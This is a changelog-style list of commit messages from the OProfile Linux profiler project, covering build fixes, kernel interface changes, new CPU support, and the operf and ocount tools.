fix build for some kernels
move to docbook XML ...
Phil, this is the sort of thing I'm talking about.
a couple more things. I want bugzilla, badly.
remove oprof_convert
little whoopsie in configure.in
Bob, Alex - prospect will now receive samples with EIP == 0x0, I suppose
william's patch + a slight extension
Get correct summaries for the test kernel module. Still to do :
move pid/pgrp filter. Remove ignore-myself
fix permissions problem.
Most files touched, but actually nothing particularly exciting :
remove results/ dir
disable oprof_report by default for release
couple more fixes. We're ready to go. Test test test !
prioritise TODO list a little
some doc improvements
bump to 0.2
open up to 0.3cvs
nitial sweep at a 0.3 plan
Mega-patch ! It builds now, but there are still some ... troubles
remove util/ properly !
back out experiment I didn't mean to commit
re-write module/Makefile.in
some doxy changes
Last tedious patch
Sorry, I lied, I lied.
missing backslash !
a couple of boring things
various minor things
some minor changes
Qt3 patch from Cliff Woolley
William's patch, and a little more
gah missed this bit
more boring splitting up and moving around.
a small lock file change
missing fi
op_time crash fix, and follow on from it
doc changes for libopt++, minor stuff
Re-organise dae. Still needs review + test, but I'm tired
restore lost commits ...
Forgot to tell CVS about this dying.
uncommit debug line
very minor changes
fix bug 563624 where shared library samples don't show up in oprofpp -kl
fix DOCDIR path
Some more refactoring...
More refactoring (start libop++)
move demangle_symbol
Missed from previous commits
Move sample file mangle/unmangle to libop++
remove not-so-useful check
More re-org
Factor some more code (derive_files)
move op_bfd to libutil++, and add and use verbose_ostream
Remove oprofpp_util, in favour of counter_util, etc.
small cleanup
2002-06-05 John Levon <moz@...>
small tweak
fail if !root
Some minor changes, turn on -Werror
A couple more tidies, allow compilation with The Compiler That Time Forgot
a couple of small bug fixes
fix build for me and a couple of tweaks
minor fixes
forgot to finish the patch ...
whitespace, use check_range in op_rtc
move apic compat stuff around
replace verbose_ostream with something simple
small cleanup
minor change
add a scoped_ptr. scoped_array forthcoming
fix blunder, add scoped_array
Use Rules.make
Some module fixes
Some cleanups
Fix a regression with check_mtime()
Remove FIXME
A number of small fixes
a little refactor
Use a structure for the module sample buffer.
nothing really
tiny cleanu
A couple of bug fixes
small cleanup
update credits
Drop our requirement for System.map : use vmlinux instead.
Use a state variable { STOPPED, STOPPING, RUNNING } instead of three
fix last samples on shutdown notification
move eip 0 check into module again, at better place. Add some debug, fix a make
indiciate fix for cpu hotplug race
add two fixme's
bump to 0.3, release time
resize fix from Kevin Puetzk
0.4cvs, tree is open...
Will's counters patch, add some another log stat
Will's uname patch
Will's printf patch
Mention Qt 3
Will's 64 bit patch
new Qt script
fix moc/moc2 problem
another bit
Will's std:: patch
tweak
fix two comments
give an example for unit mask usage. *I* got confused - this is bad ;)
Fix a serious bug with multiple text sections.
The model specific patch.
match kernel MSR naming
Merge part of the 2.5 patch userspace stuff. I'm going to merge little bits
sigh. fix nr. 1
missing changelog
accidental cvs clash commit removed
Introduce new kernel/uspace interface and use where appropriate.
Config split into old/new oprofile. GUI will only work in 2.4 for now.
add missing header
CPU RTC fix
crash fix for rtc
2.5 patch start script
2.5 patch fix
Graydon's P4 patch
Some more 2.5 patch tweaks
Will's TC_DELIVER fix
2.5 daemon fixes.
missing commit
cpu_type for 2.5 fix
Fix. Still segfaulting practically immediately. GRRRR.
Fail on P4 HT from Will
nothing interesting ..
update to 2.5 interface
check mount from Will, and mkdir from me
fix broken grep for the mounting
Graydon's ABI patch.
Doc patch from Graydon
namespace from Will
Upgrade to latest kernel API
patch from Will
fix for HT from Alex
bump to 0.4 - tree frozen
tweak to 0.4
re-open the tree. Welcome to 0.5cvs
Initial IA/64 patch
remove 2.5 support from old module. CONFIG_OPROFILE is the new way.
Hold on to yours hats kids, this is Phil's move to automake
remove another old makefile
A couple more fixes
more fixes. TODO: make --enable-abi work again
use foreign for autogen.sh
Make separate objdir work. module build fails but all is OK with --with-kernel-support
small tweak
More tweaks. Confirmed to build on automake 1.7.1 / autoconf 2.54
abi tidy
Some steps to get --enable-abi to work again
more .am fixes
another tweak
Will's Ia 64 doc patch
Make include/sstream work again
X libs fix
fix --enable-abi
don't dist dummy.cpp
add FIXME
a configure fix
ABI fixes (de inline, gcc 3.2). Fix daemon Makefiles. Use popt::
namespace fix in docs
anal crap
proper fix for daemon c++ link
remove kernel_only from 2.5
disable Pentium IV: it hangs
Some small things, ignore
s/db_tree_t/samples_db_t/ and related changes
fix --deinit and another fix
couple of minor cleanups
remove annyoing AC_REVISION
silly accidental commit fixed
some --reset/--save fixes
Mark op_dump/session as deprecated
more deprecation. anything left ?
--version for opcontrol
docu updates for removed stuff
little changes
some cleanup, more on the way
more format_output changes
some more cleanups in format_output
missing std::
small pedantries
a small cleanup
some more docs
Lots of doc fixes and cleanups
remove oprof_report - it breaks make dist
Fix instlaling "op_start" as "op_start_25"
Remove the ln -s arch hack. Instead we set path with -I and use AC_SUBST.
Some more fixes for the build. make distcheck works now (when not module compiling, naturally)
Rotate changelog
Implement --start-daemon, some fixes
ascii-string cpu types support. Not yet used ...
32/64 fixes w. /proc/kcore
move complete_dump
add opd_cookie.h
Bail out if lookup of dcookie fails. We will fail later and more obscurely anyway
fix ELF read from Randolph
P4 HT cpu support.
don't call op_help oprofiled that's on the path, prefer one in same dir as opcontrol first.
Some TODO updates. What did I leave out ?
Add CodingStyle and HACKING. Contributions please.
remove -Werror for module code. Kernel headers too fucked.
Falk's patch.
add nr_blah vs. no_blah
Two ppc fixes from Anton
Format vma width right on 64 bit.
Revert previous, bfd_vma is 64 bit on phil's x86 binutils
disable x86_64 for 2.4
bump to 0.5.
The tree is open again. Will, please commit the manpages patch
Stale lock file detection
cleanup and fix error message
compile fix
compile fix here too
Some GUI fixes for recent opcontrol change, plus some 2.5 UI improvements.
remove oprof_start item
mention SIGTERM stuff
couple of things
throw() specifiers
update
update
Module dropping for 2.5
stats fix
paranoid tweak
Fix that blasted separate-kernel bug !
Fix Params used vecho
fix make dist
fix X, non-Qt build
say something about patches and cvs
compile fix
stuff
Some projects run configure on autogen.sh. We don't and we shouldn't, so
quickstart
Fix up OP_DATA/BINDIR
another rename, small fix
Remove sanity checking from 2.4 module - read changelog
oprofpp needs -P
tweak
bump to 0.5.1
Fix the dist tarball to include stl.pat
Tree is open
Fix IS_TIMER for cpu-as-string
use % not %-age
small fixes
fix EV4 mis-detection
Default event selection. Needs some more work (see TODO)
update
Scale the default event count
update a little
Events in separate text files instead of C.
Fix blank line restriction
remove /proc/ksyms reading for 2.5
todo update and some trivial TODO->FIXME. I can't be arsed with a changelog - so sue me ..
some more re working
nstall + little more doc tweak
Turn kernel off when --separate=kernel
some doc cleanups
Allow disabling of --separate and --pid/pgrp-filter. Still the counters
changelog
Chris Mollers libdb patch + some changes on top
More doc cleanups. op_merge --use-counter -> --counter
oops
add --ctrX-event=none
fix gui for --separate=none, --ctrX-event=none
opcontrol fixes. First steps towards making the GUI use daemonrc (this
Pick up the event configs from daemonrc. Needs testing please !
tweak
parser improvements
--version --help for opcontrol now behave a bit more sanely
--no-vmllinux for 2.5 kernels. It works for me.
doc build tweak when no xsltproc etc.
tweak the xsltproc test
only sleep 2 after dump on 2.4
Fix ::is_prefix for older gccs
Make --setup optional (see changelog)
small opcontrol fix
mention doc/www
pedantry
document autogen.sh in README
Fix make distcheck
Some op_help UI improvements
Use XML catalog
more docbook changes
fix include
more db macro fixes
module handling fixes in daemon/
More module fixes for 2.5
small rename
more 2.5 modules fixes
mtime warning improvement
opcontrol --dump fix
doc some 2.5 module stuff
Fix typedef.m4 for 2.13
move some macros to m4/
More configure.in moving about
fix quoting problem
Bryan's patch, doc patches
remove stupid thinko
Doc improvements
fix dist
bump to 0.5.2 - tree is frozen
tree is open. Remove the old scripts at long last.
fix make dist
use libs explicitly
rearrange code a bit
small op_to_source cleanup
some op_to_source work. Output info as footer not header when separate
More small op_to_source cleanups. Phil, please look at the FIXME
some renamings
sed a renaming from the last sweep
prepend annotations for op_to_source
opcontrol fix
line 0 fix
another output tweak
big cheat ...
describe oprofile-www
tiny tweaks
Compile fix for IA64 from Alex
validation errors
small fix
compiler option testing
remove cpu speed check
some comments on whitespace
typo fixes
remove spurious ws
buffer rewrite, and fix a bug in a race window exposed
tgid code handling
update docs
update
back to 0.6cvs
disallow --rtc-value when needed
update
update
remove some unused abi code
build fixes and remove some unused code
update
fix operator<
unique_storage<I, V>
more unique_storage cleanup
hide some unique_storage stuff away.
hide .id
tiny tweaks ... make up an ocean
whitespace fix (test)
test(ish)
another test
yet another test
std::pair not pair
opp_symbol.h -> symbol.h and some header cleanups
fix make dist(check)
future-proof the code handlers for CODE_CTX_TGID
athlon/hammer event fixes from jason.yeh@...
mention timer bug in TODO
mention opcontrol nastiness
missing typename
handle a truncated tgid entry properly.
Fix the TGID fix
removing an annoying verbose printf
a vague release schedule
The first parts of automatic counter initialisation in opcontrol
docs for opcontrol --event=
s/RTC/RTC_INTERRUPTS/
make unit mask, user, kernel optional in the event spec. Verify that
credit jason yeh, fix changelog
c89 fix
update TODO
c89 fix
64 bit fixes
fix ChangeLog
fix autogen.sh instructions
fix typo
remove some apparently bogus FIXMEs I added for the Hammer unit masks
fix autogen.sh command example
make "opcontrol" show the help message
accept --foo blah as well as --foo=blah
accept short forms of some opcontrol options
Fix -e. echo has to be the worst designed utility in the world, which is
generate Doxyfile froom autoconf
don't accept -r - too easy to typo
don't build opdiff
hide opannotate's --base-dir option
fix make distcheck
update .cvsignore
CPU_TIMER fixes, plus some trivial stuff w/o changelog
move the default events into op_help. Needed step to fixing the GUI for
fix default RTC event name
fix op_help -c, move default event code into the library
start fixing the gui for new events stuff
more GUI fixes
update todo
CPU_TIMER_INT GUI fixes
another timer int fix for opcontrol (damnit !)
remove some done things from TODO, move some minor things to post-1.0
t's TODO update day !
testing something ...
more testing
Add some tentative insns on cvs branching.
use default event in the GUI
remove the uptime pretty printing from the GUI
fix default event stuff when daemonrc exists
select "No event" on a switch if needed
UI fix for when vmlinux specification is wrong
fix last cleanup (which was actually a fix)
fix the fix to the cleanup (which was actually a fix)
small fixes
remove mention of oprof_start_event (it's gone)
comment out doc entry for --base-dir
small tweaks to the messages
small tweaks
select the default event
replace folder icon
update
fix op_help call
bump to 0.6 in preparation for release
bump to 0.7cvs
remove bitrotted oprof_report
update manpage for --event
fix a potential problem due to libbfd bogosity
add sample-file: to TODO
make flame_uops mandatory
remove some apparently dead code
fix _List_iterator matching
avoid using ps in opcontrol, it's dog slow
missing std::
remove --source-dir/--base-dir from opannotate (perhaps temporarily)
--search-dirs for opannotate
add --base-dirs
update todo
several API changes; --reset fixes
update TODO
missing s/void/int/
remove duplicate opd_printf.h
remove unused mypid variable
share some daemon code
fix
share opd_write_abi()
more code sharing
fix make dist
whitespace change
Some renamings to start getting rid of the notion of counters from pp code.
more count_group changes, removal of pp_nr_counters. Now libpp/ itself
allow event:BLEH,BLAH etc.
count_array changes
make sure opcontrol defaults to the default unit mask if one is not
The Moderately-sized Renaming
some docs updates
The Son Of Renaming
trivialities
remove "zero samples" hint, always false
small cleanup
update HACKING
s390 fix
update comment about gcc2_compiled. being in the "wrong" place
read /dev/oprofile/pointer_size. /proc/kcore is dying.
ouch...
report the kernel pointer size (see "report more details in the log
missing std::
Check for duplicate tags in the event descriptions.
fix err message
abort() for "can't happen" errors
propogate event error back up
missed from last commit
mention --reset in "Getting started"
clean up change log
small cleanup
correct headers in op_lockfile.c
correct some more headers
configure cleanly on freebsd
minimal docs for incorrect attribution warning
0.6.1 version bump
open the tree again to 0.7cvs
arrange_profiles, and make opreport use it
opgprof - use arrange_profiles API
op_annotate - use arrange_profiles
Ding dong, the old code is dead (ish)
rename split_sample_filename, sort profile classes
Add code for naming classes
Long names for each class, and use them
column headers for image report
more image report col header changes
Turn off address show by default (for non-details), add --show-address
remove dead FIXME
remove dead TODO item
invert_profiles - restore 0.6.1 speed of opreport, and some more
Expand the commentary
Use inverted profiles for opannotate and share the code
fix -p for opgprof
fix -p for opreport/opannotate
detailed errors for too many unmerged profiles
update TODO
header fix
more arrange_profiles commentary
document --show-address
-Wdeclaration-after-statement, update 2.5 refs to 2.6
small header file cleanup
missed a 2.5 ref
and another
and some more
fix link error
daemon/ fix, some cleanups, rlimit
thread profiling fix
small logging improvements
"separate" variables renaming
updates from IRC
locate_images cleanup, fix op_bfd for fakeness
use inverted_profile API in opgprof
push image flags down to the clients. Handle bfd format failures nicely
update TODO
small fix for last patch
mage error flags cleanup
remove unused popt additional help
missing include from wcohen
start an internals manual
remove count group naming, add a glossary and overview to internals
make -C doc/ clean fix
back out make clean change
add a minimal kernel todo
disallow --global-percent when it's meaningless
mask SIGTERM too in the critical section
add comment
Phil - ELOOP refers to path components not the link target itself
fully resolve sym links passed on the command line
move op_get_link to op_file, fix doxygen comment placements
remove /proc/kcore support
remove support for a missing CTX_TGID (i.e. older 2.5 kernels will break now)
big commit: the oprofiled rewrite. See changelog for details. Woo, et cetera.
remove the err_msg stuff in favour of errno-style returns
per-cpu profiling is here
bump LR_AMOUNT to 1000
rlimit 8192 -> 2048, RSS 38Mb -> 10Mb when --separate=all
patch from marc herbert for stow support
tiny fixes
small cleanups in libabi
I tested EMFILE
libutil tests - note the rel_to_abs_path failure, phe what's the issue ?
don't build the tests until "make check" time
don't error out on "-x -m all" options
workaround for recently introduced --shutdown race causing
Fix Qt 2.3.1 compile
some docs on why you might not get any results
fix IA64 compile
small cleanup
remove --pid/pgrp-filter, --kernel-only
update TODO for minimal stuff wanted for 0.7
random cookie failure works fine
Perfmon support.
mitigate signal race a bit - needs fixing
forgot to cvs add
small cleanup
remove pfmlib support (well that lasted long !) in favour of hand-coding
SIGTERM change for perfmon children
fix xmemdump typo
Use opd_parse_events API for 2.4 daemon. Fix multiple counters foor
merge some more code, ~50 lines of opcontrol
2.5 references -> 2.6
itrivial cleanup of opcontrol style
merge option handling into opd_util, 118 insertions(+), 253 deletions(-)
perfmon fixes
add some fflushes
disable perfmon code
use "--merge" consistently
use a fixed value for the default event count
allow non matching axes if all class's tid == tgid
nicer error message on clashes profile class axes
sample file header changes. version bumped.
update todo
doc fixes
add thread separate gui + fixes
re-enable perfmon, only enable if !timer
fix make distcheck, bump release to 0.7
tree is open again
more internals docs
perfmon cleanups
remove done TODO
more internals docs
remove outdated stuff from the manual
add a diagram to the internals manual
ifixes for 2.6 image filtering
ipudate TODO
small tidy
update TOODO again
Finally ! Merge the 2.4 daemon code into daemon/liblegacy
doxygen fixes, reduce cookie hashstable size
update TODO
cleanup and improve TODO
small cleanup
small perfmon cleanup
remove an unused include path from liblegacy
opd_proc header cleanup
share a little more daemon code
document image filtering
Make empty filter be --image=all specification. Clean up help message,
Patch to oprofile(1) from Jason Lunz
fix typo be rewriting error message
missing std::
fix make check
fix typo too
string_filter unit tests
remove emails from @author lines, no changelog
improve chunk rules for docs
Add unit tests for comma_list. make check now fails, as an issue
some small makefile cleanups
fix up confusion concerning generic_spec vs. comma_list
make the comma_list matching understandable to a moron like me
fix compilation on IA-64
dirname/basename/follow_link fixes
small additions to CodingStyle
--disable-werror, --disable-optimization
remove unused -DKVERSION from gui
minor Makefile.am cleanup
bump to 0.7.1; tree is closed
bump to 0.8cvs
update TODO a bit
use realpath(3)
move bad_regexp ctor
fix typos
mention daemon auto-restart in TODO
language cleanups, only allow --verbose at sensible times
add HTML docs to SEE ALSO in man pages.
check_style pedantry, no changelog.
whoops
some minor cleanups
rename env var to OPROFILE_EVENTS_DIR
check_style fixes, no changelog
internals doc updates
add some TODO
improve error messages (from Anton Blanchard)
Fix a BFD leak on format failure, plus a small race window when the
improve the opstack docs
Fix up syntax, been broken for a while it seems
push some things back past 0.8 release
s/dependant/dependent/
bump to 0.8 - tree is closed
add some opstack weirdnesses
some schedule updates etc.
tree is re-open
64-bit fixes
fixes for relative paths and opannotate
small follow up fix
hopefully fix dcookie aliasing bug, by Bin Ren
clean up libdb API a little
some trivial renamings
add comment about bracing around if/while/for
fix bug 964097 (event code of 0x00). Not tested. There's also a 2.6
add opstack(1) to oprofile(1)'s SEE ALSO
remove sample-file:/binary: (praise the Lord). Allow either "lib" or
include call graph files in oparchive
quash timestamp warnings if displaying profiles from an archive
document some more
add "sample file parsed twice" problem
minor mangling problem
mention 32-bit amd64 bug
objective C fix
fix op_bfd bug spotted by Luca Rossato
add doc tidbit to TODO
0.8.1 candidate...
more doxygen fixes
tree is open, it's time for 0.8.2cvs
PPC64 support from the IBM guys
Way to forget how CVS works !
disable x86-64 support on 2.4
fix compile warnings
tiny fix
Altix patch from Greg Banks
default count for IA64 changed
ppc64 event patch from Maynard
Fix typo from Kristis
fix AMD doc link
update TODO
MIPS support, some check_style.py fixes
MIPS URLs from Ralf
PPC e500 support from Andy Fleming
Fix xscale1 unit mask
further validation of kernel range
ppc64 docs from Maynard, bump to 0.9cvs
style fixes, whitespace only
couple of small fixes
update TODO
remove x86-64 support on 2.4 kernels as it doesn't work
Fix typo
fix typo in docs
trivial style fixes
a couple more trivial style fixes
fix the fix
purious std::
header file cleanup
more internals docs
rename op_import and op_help
ppc64 dotted symbols fix
major re-work of call-graph output
further synth sym patch
merge opstack into opreport
mplement callgraph --global-percent
implement symbol filtering for opreport -c
output improvement for opreport -c
some re-jigging of debug stuff
performance improovements in op_bfd
opreport -c performance improvement
some cleanups
fix tests build
trivial whitespace, spelling
fix opannotate when it matches several binaries
add -% and -D synonyms
initial stab at diffing profiles
update TODO
trivial fix
and again...
mplement thresholding for diff, fix duplicate syms
docs for profile diffing
sanity check for matching profile classes when diffing
compile fix for previous fabs() change
bfd bug workaround from Maynard
quoting fix from Nathan Tallent
small cleanup of diff_container
code clean ups
remove TRACE_END, add a hack for 2.4 --no-vmlinux
two fixes for diff profiles
rejigging of BFD stuff.
add --with-binutils, --with-gcc
handle forthcoming NO_COOKIE (currently by dropping it on the floor)
remove dead prototype
fix 100% cpu on --no-vmlinux and --callgraph combination
fix libabi for cg files
add opcontrol --status
merge anon mapping support
small change in docs
several important fixes in section processing, needs further testing
fix for the 2.4 --no-vmlinux workaround
fix manual typos
image filtering fixes
test commit
fix a blooper in the diff output field, bump to 0.9
bump version to 0.9.1cvs
fix gcc 2.95.4 and older glibc compilation
hopefully fix ARM kernel problems
fix ARM kernel
MIPS 24K support from Ralf Baechle
gcc 3.4 build fix for 2.4 module
bump to 0.9.1, tree is closed
fix make check
0.9.2cvs, tree is open
update TODO
document archive: in oprofile(1)
e500v2 support, mips fix
Maynard's patch
use __MIPSEB__ not _MIPSEB
cleanup from Sean Lee.
man page tweak
Maynard's patch for ppc64 CYCLES
Xen support from HP.
Fix typo (from Mike Carlson)
mention 2.4 power management problem
anon double free fix
LRU improvement
remove debug
oops again...
save kernel range in daemonrc (from Andreas Krebbel)
intel core due support.
New MIPS and PowerPC performance counter support from Ralf and Luca Barbato.
core 2 support from Benjamin CR LaHaise
make event names match BKDG for amd64.
ppc updates from Mark Greer
core 2 fixes from Dean Gaudet.
static initialization fix.
Remove bashism. Strip out boring ARM symbols. Both from Richard Purdie.
Fix bug 1597054 (event names with a '/')
session dir patch.
XML support.
style fixes
add missing file.
Complain about --xml and diff profiles; add some more doc on the latter.
Further static initializer fix for ARM.
report -X fix from Dave Nomura
Anon region naming patch from Amitabha Roy
Small fix from Rob Bradford
IRC channel is on OFTC these days
MIPS events fix from Manoj Ekbote
PA6T support; ARM EABI fix
Patches from Richard Purdie.
Core 2 patch from Dean Gaudet
XML callgraph patch.
ARM events patches
Various patches from Richard Purdie
PPC64 demangling fix.
amd64 events update from Dean Gaudet
Patch from Dean Gaudet
doc fix
warnings fix from Melchior Franz
Cell and IA64 Xen fixes
fix SPU change
style fixes from Daniel
e300, avr32 support. oparchive fixes
fix typo
Split changelog, fix cvsignore
GCC 4.3 fixes
AMD update from Jason Yeh
ARM big-endian fix
Updates for Maynard.
Joshua Emele (1):
Fix incompatibility between opcontrol & busybox
Leonid Moiseichuk (1):
Add minimal (armv7-common) support for ARMv7 Krait
Marcin Juszkiewicz (1):
Add rmb() definition for AArch64 architecture
Maynard Johnson (257):
Fix some ppc64 event files that had non-UTF8 chars.
Fix spelling errors in POWER7 events file.
Signed-off-by: Maynard Johnson <maynardj@...>
Signed-off-by: Maynard Johnson <maynardj@...>
One more change for migration to git to ensure compile warnings result in errors.
Fix symbol size problem that causes "start > end" erorr
Fix --with-java configure option to follow autoconf standards
Fix up wording about new named unit masks concept.
Fix opcontrol --status to show accurate information for running daemon
Change version number to 0.9.8git
Fix opreport -X so total samples for the binary does not include any module counts.
Doc changes reflecting removal of old oprofile kernel module code
Fix oprofile build warnings when using gcc 4.6.1 or newer
Update POWER7 events and groups.
Fix regression caused by Oct 24 commit which broke opannotate --assembly
Initial code drop for perf-events branch
Add new files for perf-events branch
Fixes/workarounds for early/buggy perf_events kernels
Symptom: If runtime binaries have been stripped of symbol information, users
Regarding the previous commit, I neglected to add a comment in the
Fix debuginfo processing for ppc64
Fix debuginfo processing to handle no symbol info in debuginfo file
Discard user context kernel samples for which we have no app_cookie
Fix 'profile_t::samples_range(): start > end' error
Update perf-events branch to match patchset posted to oprofile-list on Feb 23
Fix mmap'ing of perf data file when doing operf_read::convertPerfData.
Merge branch 'master' into perf-events
Fix up error handling and remove restriction that perf_event_paranoid be set to -1.
Remove unused function.
Fix opannotate --assembly to work with prelinked runtime lib and non-prelink debuginfo
Add support for --pid option and fix timing bug with passing COMMAND option.
Add support for kernel profiling; incidental namespace fixups
Refactored some code into a library for use by both operf and (in future) oprofile daemon
Add support for system-wide profiling to libperf_events and operf
Fix problem when passed app name is of the form '<subdir>/<app_name>'
Minor bug fixes and performance improvement for system-wide mode.
Fix timing-related problems with app name
Add support for recording kernel module samples.
Fix seg fault when kernel sample received before kernel MMAP.
Revert "Fix seg fault when kernel sample received before kernel MMAP."
Fix regression causing seg fault when running with no vmlinux file.
Add support for callgraph profiling
Re-process samples dropped due to no mapping or no process info
Miscellaneous minor fixes plus fix broken --separate-cpu option
Fix to include unistd.h instead of sys/unistd.h for syscall
Add support for JIT profiling to operf
Fix regression to operf system-wide profiling caused by previous patch
Make new --separate-thread option for operf
Fix patch committed on Feb 29, 2012 so that samples from PID 0 are not discarded.
Add same fix to master branch as already made to perf-events to not discard samples from process 0
Flesh out operf JIT support so old jitdump files are removed
Make various minor cleanup fixes to operf
Remove reset option from operf and replace with append option.
Change operf to create oprofile sample files during profiling instead of afterwards
Fix up anonymous mapping support in operf to include vdso, stack, and heap
Minor fixes, changes, and code reorganizations to operf to improve error handling
Various operf cleanups, mostly addressing issues reported by Valgrind
Fix kernel profiling breakage caused by earlier commit
Make operf print warning if non-root user is profiling with kptr_restrict set
Add support to operf for recording hypervisor samples
Flesh out operf support for kernel versus user domain sample recording.
Fix for operf userland/kernelspace profiling and improvements to mmap of kernel data
Switch operf from popt to getopt
Build operf man page only when the operf program is also built
Add reporting of profiling statistics to operf.
Add comment in operf man page about using ophelp to list available events
Add #include "config.h" before bfd.h
Add #include "config.h" before bfd.h for perf-events branch
Minor fixups for verbose output for operf
Fix opjitconv to not end abnormally when no jit dump directory is found
Set exclude_idle to 0 in operf call to perf_event_open
Handle EINTR of operf read of sample data pipe
Make number of mmap pages for perf_events data be based on pagesize
Remove unused "--kernel-buffersize-multiplier" option from operf
Fix operf handling of invalid options
Make operf use OP_BINDIR when invoking ophelp
Make opreport use <cur_dir>/oprofile data for default session-dir
Document non-support for event-based profiling in guest environments
Add --with-kernel configure option to specify location of kernel headers
Fix up help text for --with-kernel option
Merge remote branch 'origin/perf-events'
Fixes to earlier commit that changed operf to use getopt vs popt
Fix for bug 3309794: Change type for sample header mtime field to u64
Fix error when using 'operf --callgraph --events=blah'
Fix configure to not alter user variables and remove non-working --with-gcc option
Fix up oprofile user manual to add info about new operf program
Add some helpful messages for various operf usage scenarios
Fix how "Nr. non-backtrace samples" from oprofiled.log is calculated
Change "Nr. event lost ..." field in the oprofiled.log to "Nr. samples lost ..."
Fix oparchive to use absolute path for copying abi and oprofiled.log
Add new operf.log file to what oparchive will archive
Bug #3386923: Document that 'opannoate -a' needs symbol info
Make git builds use -Werror and fix resulting warning message in operf.cpp
Fix 'make check' warning treated as error when using newer gcc
Allow libpfm4 to be used by ppc64 for obtaining event code
Fix previous commit that broke non-ppc64 arch builds
Fix build warning on Fedora 17 with gcc 4.7.0
Fix warning messages when building on Ubuntu 11.10
Fix errors found by coverity in new and changed code in perf_events port
Fix operf to read unit mask in hex and document unit mask spec requirementes
Remove extraneous debugging cerr from previous commit
Change pp tools to abort if <cur_dir>/oprofile_data exists, but no samples found
Fix operf profiling of forked processes
Add a new option to operf to do conversion to oprofile format after profiling is done
Cleanup verbose variable usage in operf for easier debugging
Fix unit mask handling (including 'extra' bits) in operf
Fix opimport to not try to import .jo ELF files
Make opcontrol --status show session dir
Rename configure.in to configure.ac to follow autotools guildlines
Add new configure.ac file
Fix configure on newer Debian and Ubuntu systems when using --enable-gui=qt4
Bump OPD_VERSION to correspond with sample format change (see commit 1be0be0f)
Add a mention of 'operf' man page in ophelp event list output
Fix opimport to match change in mtime type
Various documentation cleanups
Fix up problems found by another run of coverity
Change version to 0.9.8 in preparation for GA of 0.9.8
Bump version to 0.9.9git
Fix opreport seg fault when using "-X -i" options and non-existent symbol
Fix opjitconv to handle process IDs up to PID_MAX_LIMIT
Fix opjitconv to handle removing temp work dir with spaces in name
Add the Haswell client event lists and model numbers
Revert "Add the Haswell client event lists and model numbers"
Update READEME to reflect changes made in 0.9.8 release
Handle early perf_events kernel without PERF_RECORD_MISC_GUEST* macros
Fix bug in finding command in PATH
Remove daemon/liblegacy since 2.4 kernels are no longer supported
Fix up configure to handle architectures that do not implement perf_event_open
Add support for using build-id to locate debuginfo files
Minor review cleanups to previously committed build-id patch
Remove temp program test-for-PERF_EVENT_OPEN after AC_LANG_CONFTEST
Change configure to look for libpfm4 function first; then fallback to libpfm3
Fix operf handling of <cur-dir>/app when "." is in PATH
Fix operf default unit mask handling
Fix incorrect statement about using '0' for default unit mask
Fix unused variable compile error on non-x86 type architectures
Remove unnecessary/incorrect CYCLES_RND_SMPL event
ophelp lists events: Fix doc URL for ppc64 arch
Allow ppc64 events to be specified with or without _GRP<n> suffix
Fix bug where some invalid unit mask values are accepted as valid
Fix default numerical unit mask when using numeric and modify error messages.
Fix compile warnings/errors with gcc 4.7.3
Unit mask bitmasks containing non-unique values should fail
Fix 32-bit compilation error
Fix opreport header info on unit mask when operf is run without a UM specified
operf: Fix 'Permission denied' error on early perf_events kernels
operf does not run opjitconv if --pid or --system-wide used
operf does not properly sample child threads for already-running app
The configure check to determine whether we should use libpfm or not
Make convertPerfData procedure more robust
Fix seg fault due to incorrect array size initialization
Performance improvement for operf's perf_event-to-oprofile format conversion
Fix broken --with-kernel configure option
Flesh out user manual doc on oparchive/opimport commands
oprofile pp tools should print messages about lost samples
Fix opjitconv error message for bfd_set_arch_mach failure
Catch and handle error from op_jit_convert function
Fix holes in operf system-wide profiling of forked processes
Use PMC5/PMC6 on ppc64 arch for run cycles/run instructions
Fix compile error that occurs with some versions of gcc
Fix Coverity issues identified against oprofile 0.9.8 release
Add support for architected events for IBM ppc64 architecture
Fix copyright date for ppc64/architected_events_v1/unit_masks
Add support for architected events for IBM ppc64 architecture
Revert "Add support for architected events for IBM ppc64 architecture"
Fix IBM architected events to work on IBM POWER7+
Add support for Intel Netburst (e.g., Pentium P4) to operf
Fix recent regression involving unit mask values of '0'
Fix Coverity errors found on May 20, 2013 git snapshot
Fix breakage in _try_ppc64_arch_generic_cpu caused by Coverity fixes
Fix spelling error and remove obsolete BUGS notation
Add support for IBM POWER8 processor
Print debug message when module summary count differs from total symbols counts
Fix warning message about diff in module and symbol sample counts
Fix unit mask value for EXTRA_NONE
Make doc changes to reflect changes in behavior for named unit masks
Remove invalid '+' character from line 140 of Ivybridge unit_masks
Fix recent regression in opreport --debuginfo output
Add 'check_count' parameter to parse_events function
Add various utility routines needed by new ocount tool
New ocount tool and associated ocount_counter classes
Add manpage for new ocount tool
Fix problems in ocount patch set found by Coverity
Add ocount information to user manual
Post-review fixups for new ocount feature
Add -lrt flag for clock_gettime call
ocount misinterpreted UM value for named UM with EXTRA_NONE
Fix compile error on precise_ip field in early versions of perf_event.h
ophelp does not always detect duplicate numerical unit mask values
Fix ocount to work on POWER8
Defaulted named unit mask does not work
opjitconv fails with "Floating point exception"
ocount fails to handle ppc64 event PM_GRP_CMPL event
Change version to 0.9.9 in preparation for GA of 0.9.9
Bump version to 1.0.0git
Fix compile error on ppc/uClibc platform: 'AT_BASE_PLATFORM' undeclared'
Add two new POWER8 events that are needed for stall analysis
Converge operf and ocount utility functions
configure error message for missing libpfm is not informative enough
Fix operf/ocount default unit mask selection
Cleanup TODO list
Fix handling of default named unit masks longer than 11 chars
Add pseudo event for POWER7 to count rising edge events
ophelp schema is not included in installed files
Fix minor issues found with Eclipse CDT code analysis
Fix spurious "backtraces skipped due to no file mapping" log entries
Add more helpful info about dealing with lost samples
Add explanation of kernel/user bits in event specification
Allow all native events for IBM POWER8 in POWER7 compat mode
Fix operf/opreport kernel throttling detection
Fix two makefiles to use -Werror, and fix resulting compiler errors
Fix sample attribution problem when using multiple events
Update TODO list
opreport from 'operf --callgraph' profile shows incorrect recursive calls
Remove unused variable 'tab' from previous commit
Fix ocount man page and usage regarding counting modes
Fix compile errors occurring with gcc 4.8.x
Fix "Unable to open cpu_type file for reading" for IBM POWER7+
Enable oprofile for new ppc64le architecture
Whitespace fix in configure.ac from previous commit
Minor man page cleanups for the ocount command
Fix regression in IBM POWER8 running in POWER7 compat mode
Reduce overhead of operf waiting for profiled app to end
Fix issues detected by Coverity
Make operf/ocount detect invalid timer mode from opcontrol
Remove 'extra' attribute from ophelp XML output; bump schema version
Fix up event codes for marked architected events
Make cpu type POWER8E equivalent to POWER8
Fix various event names and codes for IBM architected and POWER8 events
